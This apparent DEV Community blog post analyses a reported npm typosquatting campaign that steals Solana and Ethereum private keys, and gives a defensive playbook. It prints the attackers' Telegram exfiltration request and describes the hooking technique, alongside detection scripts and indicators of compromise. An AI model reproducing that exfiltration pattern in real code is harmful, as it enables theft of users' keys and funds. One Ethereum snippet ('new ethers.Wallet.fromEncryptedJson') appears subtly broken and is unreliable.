DEV Community

ohmygod
ohmygod

Posted on

Supply Chain Key Theft in npm: How 5 Typosquatted Packages Silently Drain Solana and Ethereum Wallets — And a 7-Step Defense Playbook

TL;DR

On March 24, 2026, Socket's Threat Research Team disclosed five malicious npm packages — raydium-bs58, base-x-64, base_xd, bs58-basic, and ethersproject-wallet — all published under the account galedonovan. Each package typosquats a legitimate crypto library, hooks the exact function where developers pass private keys, and silently exfiltrates them to a Telegram bot before returning the expected result. No errors. No side effects. Your code works perfectly while your keys vanish.

This article breaks down exactly how the attack works, why traditional security tooling misses it, and a concrete 7-step defense playbook every Solana and Ethereum developer should implement today.


The Attack: Invisible Key Interception

Solana Side (4 packages)

Four packages — raydium-bs58, base-x-64, bs58-basic, and base_xd — target Solana developers by intercepting Base58.decode() calls. This is the standard pattern for loading a keypair:

// This looks normal, but if bs58 is a typosquat...
const keypair = Keypair.fromSecretKey(bs58.decode("4wBqpZ..."));
Enter fullscreen mode Exit fullscreen mode

The malicious decode() wrapper calls sendMessage() to a Telegram bot before calling the real bs58.decode(). The function returns the correct result. No error is thrown. Your tests pass. Your deployment works. Meanwhile, your private key is already in the attacker's Telegram group.

Ethereum Side (1 package)

ethersproject-wallet targets the Wallet constructor:

// Intercepted at construction time
const wallet = new Wallet("0xac0974bec39a17e36ba...");
Enter fullscreen mode Exit fullscreen mode

Same pattern — the key is POSTed to Telegram, then the real constructor runs.

The C2 Infrastructure

All five packages exfiltrate to the same endpoint:

POST https://api.telegram.org/bot<TOKEN>/sendMessage
{"chat_id": "-4690814032", "text": "<STOLEN_KEY>"}
Enter fullscreen mode Exit fullscreen mode

No staging servers. No domains to take down. Just a Telegram bot and a 2-member group. The threat actor left development comments in the raydium-bs58 source — including the group invite link — that led directly to their Telegram identity. Amateur operational security, but the attack itself is effective.

Why It Works

  1. No visible behavior change: The wrapped function returns the correct result
  2. No install-time hooks: No postinstall script that lockfile audits would flag
  3. Runtime-only exfiltration: The theft happens when your code calls decode() or new Wallet()
  4. Global fetch() dependency: Requires Node.js 18+ (silently fails on older runtimes — a natural filter for modern projects)
  5. Copied READMEs: The packages use documentation from the real libraries, making them look legitimate at a glance

Why Standard Security Tooling Misses This

Tool What It Catches Why It Misses This
npm audit Known CVEs in real packages Typosquats aren't in the advisory DB
Lockfile review Changed dependency hashes Hash is "correct" for the malicious package
postinstall blockers Install-time scripts No install hooks used
SAST (Semgrep, etc.) Patterns in your code The malicious code is in node_modules
Dependabot / Renovate Out-of-date real packages The fake package is the latest version

The gap is clear: most tools assume packages with correct names are trustworthy, and most don't deeply analyze runtime behavior of dependencies.


The 7-Step Defense Playbook

1. Pin Exact Package Names in a Lockdown File

Create a project-level allowlist of permitted crypto packages:

// .package-allowlist.json
{
  "crypto-packages": [
    "bs58",
    "base-x",
    "@ethersproject/wallet",
    "@solana/web3.js",
    "@coral-xyz/anchor",
    "ethers"
  ]
}
Enter fullscreen mode Exit fullscreen mode

Add a CI check that greps package.json for any crypto-adjacent package not in the allowlist:

#!/bin/bash
# check-deps.sh — flag suspicious crypto packages
SUSPECT=$(jq -r '.dependencies + .devDependencies | keys[]' package.json \
  | grep -iE 'bs58|base.?x|ethers|solana|raydium|wallet' \
  | grep -vFf .package-allowlist.json)

if [ -n "$SUSPECT" ]; then
  echo "⚠️  Unrecognized crypto packages detected:"
  echo "$SUSPECT"
  exit 1
fi
Enter fullscreen mode Exit fullscreen mode

2. Use Socket.dev or Snyk for Supply Chain Analysis

Socket's scanner specifically flags:

  • Obfuscated code in published packages
  • Network calls from library code
  • Typosquat name similarity scoring

Add it to your CI pipeline:

# .github/workflows/supply-chain.yml
- name: Socket Security Check
  uses: SocketDev/socket-security-action@v1
  with:
    enable_ai: true
Enter fullscreen mode Exit fullscreen mode

3. Never Pass Raw Private Keys Through Library Functions

The attack works because developers pass private key strings directly through bs58.decode(). Instead:

// ❌ Vulnerable pattern
const keypair = Keypair.fromSecretKey(bs58.decode(process.env.PRIVATE_KEY));

// ✅ Safer: load from file, decode in a controlled context
import { readFileSync } from 'fs';
const keyBytes = new Uint8Array(
  JSON.parse(readFileSync('/path/to/keypair.json', 'utf8'))
);
const keypair = Keypair.fromSecretKey(keyBytes);
Enter fullscreen mode Exit fullscreen mode

For Ethereum:

// ❌ Vulnerable pattern
const wallet = new ethers.Wallet(privateKeyHex);

// ✅ Use a signer abstraction (hardware wallet, KMS, or vault)
const provider = new ethers.JsonRpcProvider(rpcUrl);
const wallet = new ethers.Wallet.fromEncryptedJson(keystoreJson, password);
Enter fullscreen mode Exit fullscreen mode

The principle: minimize the code paths where raw key material flows through third-party libraries.

4. Monitor Outbound Network Calls from Node.js

Use network inspection to detect unexpected calls:

// test/network-monitor.js — drop this into your test suite
import { createHook } from 'async_hooks';

const connections = [];
createHook({
  init(asyncId, type) {
    if (type === 'TCPCONNECTWRAP') {
      connections.push({ asyncId, stack: new Error().stack });
    }
  }
}).enable();

process.on('exit', () => {
  const suspicious = connections.filter(c =>
    c.stack.includes('node_modules') &&
    (c.stack.includes('telegram') ||
     c.stack.includes('discord') ||
     c.stack.includes('webhook'))
  );
  if (suspicious.length > 0) {
    console.error('⚠️  Suspicious outbound connections:', suspicious);
    process.exit(1);
  }
});
Enter fullscreen mode Exit fullscreen mode

5. Audit New Dependencies Before Installing

Before running npm install <package>:

# Check package age and publisher
npm view <package> time --json | jq '.created'
npm view <package> maintainers

# Compare to the legitimate package
diff <(npm view bs58 readme) <(npm view bs58-basic readme)

# Check download counts
npm view <package> --json | jq '.versions | length'
Enter fullscreen mode Exit fullscreen mode

Red flags:

  • Package created in the last 30 days
  • Single maintainer with no other packages
  • README copied from a well-known package
  • Name is a slight variation of a popular library

6. Use npm query to Find Shadowed Packages

npm v8.16+ includes npm query, which can find dependency anomalies:

# Find all packages with postinstall scripts
npm query ':attr(scripts, [postinstall])'

# Find packages not from expected scopes
npm query ':not(:scope(@solana, @coral-xyz, @ethersproject))' \
  | jq '.[].name' | grep -iE 'solana|eth|wallet|bs58'
Enter fullscreen mode Exit fullscreen mode

7. Rotate Keys Immediately If Exposed

If you discover any of these packages in your dependency tree:

  1. Assume all keys used in that environment are compromised
  2. Transfer funds to new wallets immediately
  3. Rotate all API keys, RPC endpoints, and service credentials
  4. Check transaction history for unauthorized transfers
  5. Run npm ls to find the full dependency chain

Indicators of Compromise

Package Version Notes
raydium-bs58 1.9.7 Unobfuscated, leaked C2 invite link
base-x-64 0.0.6 Obfuscated CJS payload
bs58-basic 0.0.1 Same C2 infrastructure
ethersproject-wallet 0.0.1 Hooks Wallet constructor
base_xd (unpublished) Identical to base-x-64

The Bigger Picture

This campaign is unsophisticated — hardcoded Telegram tokens, leaked invite links, copied READMEs. But it represents an escalating pattern in crypto supply chain attacks:

  • December 2024: @solana/web3.js itself was compromised via a supply chain attack
  • March 2026: The Trivy supply chain compromise searched for Solana wallet variables
  • March 2026: This typosquatting campaign targets the exact moment developers handle keys

The attack surface isn't your smart contracts. It's your package.json. And unlike contract exploits, there's no on-chain audit trail until the funds are already gone.


Key Takeaways

  1. Typosquatting is the new phishing — it targets developers at the moment of maximum trust
  2. Runtime exfiltration bypasses most security tools — malicious behavior only triggers at runtime
  3. Crypto libraries are high-value targets — they routinely handle raw private keys
  4. Defense is about process, not just tools — allowlists and key handling hygiene matter most
  5. Assume compromise, plan for rotation — if a suspicious package touches your keys, rotate everything

Audit your dependencies today.


Based on Socket.dev's disclosure from March 24, 2026. Original research by Kush Pandya at Socket's Threat Research Team.

Top comments (0)